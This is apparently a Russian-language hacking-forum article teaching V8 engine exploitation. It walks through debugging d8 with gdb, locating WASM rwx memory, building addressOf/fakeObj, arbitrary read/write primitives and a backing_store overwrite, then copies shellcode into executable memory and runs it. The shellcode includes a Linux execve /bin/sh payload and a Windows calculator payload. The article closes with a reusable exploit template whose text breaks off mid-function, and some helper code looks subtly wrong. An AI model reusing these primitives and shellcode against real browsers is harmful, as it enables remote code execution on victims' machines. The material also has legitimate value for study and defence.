• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Изучение эксплойтов V8 с нуля / первое погружение / (2)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Общая цепочка эксплуатации уязвимостей V8
Немного поковырявшись с настройкой среды обитания эксплуотации V8 и заюзав комп моей барышни изложу вам следующие мысли, господа.

Обзор

Я думаю, что важно иметь четкую цель, прежде чем что-то делать. Например, играя в CTF для решения бинарных задач, в большинстве случаев цель состоит в том, чтобы выполнить system(/bin/sh) или же execve(/bin/sh,0,0)。
С точки зрения использования v8, я думаю, что есть также четкая цель, заключающаяся в выполнении произвольных shellcode. Когда у вас есть эта цель, следующий шаг — подумать, как же написать этот самый shellcode. Затем должна быть "дыра в памяти" для записи, которая может записывать в доступный для чтения, записи и исполняемый сегмент памяти, предпочтительно любой адрес. Сопоставление также должно иметь произвольное чтение, поскольку необходимо знать адрес сегмента памяти rwx. Даже если нет произвольного чтения, должен быть способ утечки измененного адреса (бинарная защита V8 в основном полностью включена). Следующим шагом является возможность управления RIP, чтобы RIP мог перейти к shellcode сегменту памяти.

Отладка программ V8


1. Файл v8/tools/gdbinit помещяем в ~/.gdbinit:
Код:
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8

2. Используйте %DebugPrint(x); чтобы вывести информацию о переменной x

3. Используйте %SystemBreak(); выброса int3, так чтоб gdb мог отладить:

Код:
 $ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();

Если вы запустите его напрямую с d8, вы получите ошибку:

Код:
$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'

Потому что при нормальных обстоятельствах синтаксис js не имеет типа %, то необходимо добавить параметр --allow-natives-syntax:

Код:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
 - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3764081cc139 <JSArray[0]>
 - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x37640800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
 - elements: 0x3764081d30d1 <FixedArray[1]> {
           0: 1
 }
0x376408203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3764080023b5 <undefined>
 - prototype_validity cell: 0x376408142405 <Cell value= 1>
 - instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
     0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3764081cc139 <JSArray[0]>
 - constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
 - dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1]    35375 trace trap  ./d8 --allow-natives-syntax test.js

Затем попробуйте использовать gdb для отладки программы:

Код:
$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }
0x3a0c08203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3a0c080023b5 <undefined>
 - prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
 - instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
     0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
 - dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0


Затем вы можете использовать команду gdb для просмотра схемы его памяти. Кроме того, в предыдущий gdbinit, поставляемый в v8, были добавлены некоторые вспомогательные команды отладки, такие как job, которая работает аналогично %DebufPrint:

Код:
pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }

Однако при использовании команды задания, ее адресом должен быть ее реальный адрес + 1, то есть в приведенном выше примере ее реальный адрес: 0x3a0c08049684:

Код:
pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694: 0x0000000000000000 0x0000000000000000

Если вы используете команду job, за которой следует ее реальный адрес, она будет проанализирована как тип SMI (небольшое целое число):

Код:
pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)

0x4024b42 * 2 == 0x8049684(SMI только 32 бит)

Это все, что вам нужно знать для выполнения простой отладки d8.

WASM


Сегодняшние браузеры в основном поддерживают WASM, и v8 будет специально генерировать раздел памяти rwx для использования WASM, что дает нам возможность использовать его.

Код:
$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

Затем используйте gdb для отладки, и в первой точке останова используйте vmmap для просмотра сегмента памяти, в это время нет ни читаемой, ни записываемой, ни исполняемой памяти, и мы позволяем программе продолжить работу.

Во второй точке останова мы снова запускаем vmmap, чтобы увидеть сегмент памяти.

Код:
pwndbg> vmmap
0x1aca69e92000     0x1aca69e93000 rwxp     1000 0      [anon_1aca69e92]

Из-за создания кода WASM в памяти появляются сегменты памяти с возможностью rwx. Следующий вопрос - как нам добраться до смены адреса?
Сначала посмотрим на информацию о переменной f.

Код:
DebugPrint: 0x24c6081d3645: [Function] in OldSpace
 - map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x24c6080051c5 <String[1]: #0>
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x24c6081c3649 <NativeContext[256]>
 - code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - Wasm function index: 0
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - back pointer: 0x24c6080023b5 <undefined>
 - prototype_validity cell: 0x24c608142405 <Cell value= 1>
 - instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - constructor: 0x24c608002235 <null>
 - dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

Вы видите, что это объект функции, поэтому давайте посмотрим на информацию в структуре shared_info для f.

Код:
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
 - map: 0x24c6080025f9 <Map[36]>
 - name: 0x24c6080051c5 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 185
 - formal_parameter_count: 0
 - expected_nof_properties:
 - language_mode: sloppy
 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - script: 0x24c6081d3491 <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - no debug info
 - scope info: 0x24c608002739 <ScopeInfo>
 - length: 0
 - feedback_metadata: <none>

Далее рассмотрим его структуру данных

Код:
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
 - map: 0x24c608002e7d <Map[44]>
 - target: 0x1aca69e92000
 - ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - function_index: 0
 - signature: 0x24c608049bd1 <Foreign>
 - wrapper_budget: 1000

После просмотрим структуру экземпляра:

Код:
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
 - map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
 - exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
 - native_context: 0x24c6081c3649 <NativeContext[256]>
 - memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
 - table 0: 0x24c608049b69 <Table map = 0x24c608207551>
 - imported_function_refs: 0x24c60800222d <FixedArray[0]>
 - indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
 - managed_native_allocations: 0x24c608049b21 <Foreign>
 - memory_start: 0x7f6e20000000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x55a2eca392f0
 - globals_start: (nil)
 - imported_mutable_globals: 0x55a2eca39310
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {}

При ближайшем рассмотрении выясняется, что структура экземпляра - это адрес переменной wasm Instance в js-коде. В коде мы добавили %DebugPrint(wasmInstance);, поэтому структура также будет выведена, и вы можете проверить ее.

Давайте снова рассмотрим схему памяти этой структуры:

Код:
pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508: 0x0800222d08207439 0x200000000800222d
0x24c6081d3518: 0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528: 0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548: 0x0000000000000000 0x0000000000000000
0x24c6081d3558: 0x0000000000000000 0x000055a2eca39310
0x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000

Если присмотреться, то можно увидеть, что начальный адрес сегмента rwx хранится по адресу instance+0x68, но не запоминайте это, так как это смещение может меняться от версии к версии и может быть найдено при записи exp путем отладки, как описано выше.

В зависимости от характеристик WASM, наша цель может быть уточнена. Теперь нашей целью становится запись шеллкода в сегмент кода WASM, а затем выполнение функции WASM, после чего мы можем выполнить шеллкод.

Произвольное чтение и запись

Я недавно исследовал несколько эксплойтов V8, и произвольное чтение/запись - один из них, и пока я думаю, что он очень распространен, и мне кажется, что все эксплойты, связанные с V8, используют этот тип подхода. (Однако, время моего обучения невелико, и мое зрение в этой области относительно невелико, поэтому позже я могу столкнуться с другими ситуациями).

Во-первых, давайте рассмотрим структуру двух типов переменных в JavaScript.

Код:
$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

Во-первых, это структура переменной "а"

Код:
DebugPrint: 0xe07080496d1: [JSArray]
 - map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
 - map: 0x0e0708002a95 <Map>
 - length: 1
           0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0:  0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:  0x0800222d08207961 0x000000020800222d
0xe07080496f0:  0x0001000108005c31 0x080021f900000000
0xe0708049700:  0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0:  0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0:  0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:  0x0800222d08207961 0x000000020800222d
0xe07080496f0:  0x0001000108005c31 0x080021f900000000

Переменная a имеет следующую структуру.
Код:
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

Поскольку в текущей версии v8 адреса сжимаются, значение старшего 32-битного адреса остается неизменным, необходимо сохранять только младший 32-битный адрес.

В структуре elements хранятся значения массива, а сама структура является
Код:
| 32 bit map addr | 32 bit length | value ......

Длина в структуре переменной a указывает на длину текущего массива, который был использован, а элементы указывают на длину массива, который был запрошен, что не означает, что он был использован. Эти две длины хранятся в памяти как два раза больше фактического значения, почему они разработаны таким образом, на данный момент неизвестно.

При более внимательном рассмотрении вышеприведенной схемы памяти видно, что за структурой elements сразу следует структура variable a. Это точка, в которой многие дыры позволяют переменной a переполниться, так что значения карты и длины структуры могут быть прочитаны и записаны.

Далее мы рассмотрим переменные b и c вместе:

[/CODE]
//переменная C
DebugPrint: 0xe0708049719: [JSArray]
- map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e070804970d <FixedArray[1]> {
0: 0x0e07080496e1 <Object map = 0xe0708207961>
}
// переменная b:
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
- map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
- elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
- map: 0x0e0708002205 <Map>
- length: 1
0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718: 0x0800222d08203b31 0x000000020804970d
0xe0708049728: 0x0000000000000000 0x0000000000000000
0xe0708049738: 0x0000000000000000 0x0000000000000000
0xe0708049748: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c: 0x0000000208002205 0x08203b31080496e1
0xe070804971c: 0x0804970d0800222d 0x0000000000000002
0xe070804972c: 0x0000000000000000 0x0000000000000000
0xe070804973c: 0x0000000000000000 0x0000000000000000
[/CODE]

Структура переменной c по сути такая же, как и у переменной a, за исключением того, что переменная a хранит переменные типа double, поэтому все значения 64-битные, тогда как переменная c хранит переменные типа object, который хранит адреса, а также сжимает адреса, поэтому длина 32-битная.

Чтение произвольного адреса переменной

Поскольку структура памяти настолько последовательна, как js определяет тип структуры при использовании a[0] или c[0] для получения значения? Как вы можете увидеть, посмотрев на код или протестировав его с помощью gdb, он определяется значением map структуры переменной.
Это означает, что если я изменю адрес карты переменной c на адрес переменной a, то когда я выполню c[0], адрес, который я получу, будет адресом переменной b. Это приведет к чтению произвольного переменного адреса со следующими шагами.

1. Установите значение c[0] в переменную, адрес которой вы хотите получить, например, c[0]=a;.
2. Затем, измените адрес c на адрес a.
3. Прочитайте значение c[0], и это значение будет младшим 32-битным адресом переменной a.

В этой статье, вышеуказанные шаги заключены в функции addressOf.

Логика пока не позволяет достичь эффекта чтения произвольного адреса, поэтому необходимы дальнейшие исследования.

двойник объекту

Поскольку мы можем превратить объектный массив в массив с плавающей точкой, не можем ли мы также превратить массив с плавающей точкой в объектный массив, сделав следующее.

1. Установите значение a[0] в адрес какого-нибудь объекта собственной конструкции, к которому еще нужно добавить 1.
2. Затем измените адрес a на адрес c.
3. Получить значение a[0]

Этот процесс может быть инкапсулирован как функция takeObj.

Произвольное чтение

На этом этапе мы создаем переменную, такую как

Код:
var fake_array = [
  double_array_map,
  itof(0x4141414141414141n)
];

Структура этой переменной примерно следующая:

Код:
| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|

Согласно анализу, теоретически расположение должно быть таким, как показано выше, но будет заблокировано основываясь на уязвимости, в результате чего расположение кучи не доступно, поэтому в результате различные адреса элементов, конкретной ситуации, вы можете написать exp в соответствии с временем, чтобы определить через отладку.
Поэтому я могу использовать addressOf для получения var fake_array_addr = addressOf(fake_array);.
Вычислив fake_object_addr = fake_array_addr - 0x10n;
затем используйте функцию fakeObj, чтобы получить объект, который вы создали: var fake_object = fakeObj(fake_object_addr);
В этот момент не смотрите на содержимое fake_object, потому что его поля length и elements установлены в недопустимые значения (0x41414141).
На данном этапе мы можем использовать массив make_array для произвольного чтения, и ниже приведена общая функция произвольного чтения read64.

Код:
function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

Произвольная запись


Точно так же можно построить любую произвольную запись write64:
Код:
function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

Мы можем понять вышеописанный процесс таким образом, объект takeObj эквивалентен изменению переменной массива с плавающей точкой a в двумерный массив с плавающей точкой: a = [[1.1]], а область памяти значения take_array[1] принадлежит расположению полей элементов и длины объекта take_object, поэтому мы можем управлять объектом take_object, изменяя take_. array[1] значение для управления fake_object для достижения произвольных эффектов чтения и записи.

Написание шеллкода

Однако приведенная выше произвольная запись не позволяет нам записать наш шеллкод в область rwx, поскольку адрес записи = фактический адрес - 0x8+0x1, которому предшествует 8-байтовый адрес карты и длина, а область rwx, согласно схеме памяти, которую мы видим при отладке, должна быть записана с начала этого сегмента памяти, поэтому адрес - 0x8+0x1 это недопустимый адрес.

Поэтому необходим альтернативный подход - посмотрите на следующий код.

Код:
$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

Сначала посмотрите на структуру переменной data_buf.:
Код:
DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
 - map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
 - elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555c12bb9050
 - byte_length: 16
 - detachable
 - properties: 0x2ead0800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

Посмотрите еще раз на память поля backing_store

Код:
pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050: 0x4000000000000000 0x0000000000000000
0x555c12bb9060: 0x0000000000000000 0x0000000000000041
0x555c12bb9070: 0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8

Тип double 2.0 равен 0x4000000000000000 в шестнадцатеричном исчислении, поэтому видно, что значение переменной data_buf хранится в непрерывном участке памяти, на который указывает указатель backing_store.
Поэтому мы можем использовать этот тип для записи шеллкода, изменив значение поля backing_store на адрес памяти rwx.
Посмотрите на расположение поля backing_store в структуре переменной data_buf.

Код:
pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c: 0x0800222d08203271 0x000000100800222d
0x2ead0804971c: 0x0000000000000000 0x12bb905000000000
0x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c: 0x0000000000000000 0x0000000000000000
0x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c: 0x0000000000000000 0x0000000000000010
0x2ead0804976c: 0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c: 0x0000000000000000 0x0000000000000000

Было установлено, что адрес backing_store принадлежит data_buf + 0x1C. Это смещение также несколько отличается в разных версиях v8, поэтому при написании exp можно следовать шагам, описанным выше.

Исходя из вышесказанного, мы можем написать функцию copy_shellcode_to_rwx следующим образом.

Код:
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

Выполнение

В среде linux мы хотим выполнить шеллкод execve(/bin/sh,0,0) при тестировании, мы можем сделать следующее

Код:
var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

Если вы хотите выполнить шелл-код всплывающего калькулятора Windows, вам нужно только изменить значение переменной шелл-кода в коде:

Код:
var shellcode = [
    0xc0e8f0e48348fcn,
    0x5152504151410000n,
    0x528b4865d2314856n,
    0x528b4818528b4860n,
    0xb70f4850728b4820n,
    0xc03148c9314d4a4an,
    0x41202c027c613cacn,
    0xede2c101410dc9c1n,
    0x8b20528b48514152n,
    0x88808bd001483c42n,
    0x6774c08548000000n,
    0x4418488b50d00148n,
    0x56e3d0014920408bn,
    0x4888348b41c9ff48n,
    0xc03148c9314dd601n,
    0xc101410dc9c141acn,
    0x244c034cf175e038n,
    0x4458d875d1394508n,
    0x4166d0014924408bn,
    0x491c408b44480c8bn,
    0x14888048b41d001n,
    0x5a595e58415841d0n,
    0x83485a4159415841n,
    0x4158e0ff524120ecn,
    0xff57e9128b485a59n,
    0x1ba485dffffn,
    0x8d8d480000000000n,
    0x8b31ba4100000101n,
    0xa2b5f0bbd5ff876fn,
    0xff9dbd95a6ba4156n,
    0x7c063c28c48348d5n,
    0x47bb0575e0fb800an,
    0x894159006a6f7213n,
    0x2e636c6163d5ffdan,
    0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

Предпоследнее


В приведенном выше примере кода есть несколько необъяснимых функций, ниже приведен код этих функций:

Код:
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

function d2u(v) {
  f64[0] = v;
  return u32;
}

Потому что в приведенных выше идеях везде используют массивы со значениями с плавающей точкой, но значения с плавающей точкой выглядят для нас не очень хорошо, а задавая значения, мы привыкли использовать шестнадцатеричные значения. Поэтому нам нужны ftoi и itof для преобразования плавающей точки и 64-битных целых чисел друг в друга. Но поскольку в новой версии v8 есть функция сжатия высоких 32-битных адресов, ей также необходимы u2d и d2u, две функции для преобразования плавающей точки и 32-битных целых чисел друг в друга.
Наконец, есть функция hex, которая позволяет нам просматривать значения.

Код:
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

Подвести итог


В настоящее время, на мой взгляд, не говоря уже о всех уязвимостях v8, но все типы уязвимостей обфускации могут использовать один и тот же набор шаблонов:

Код:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
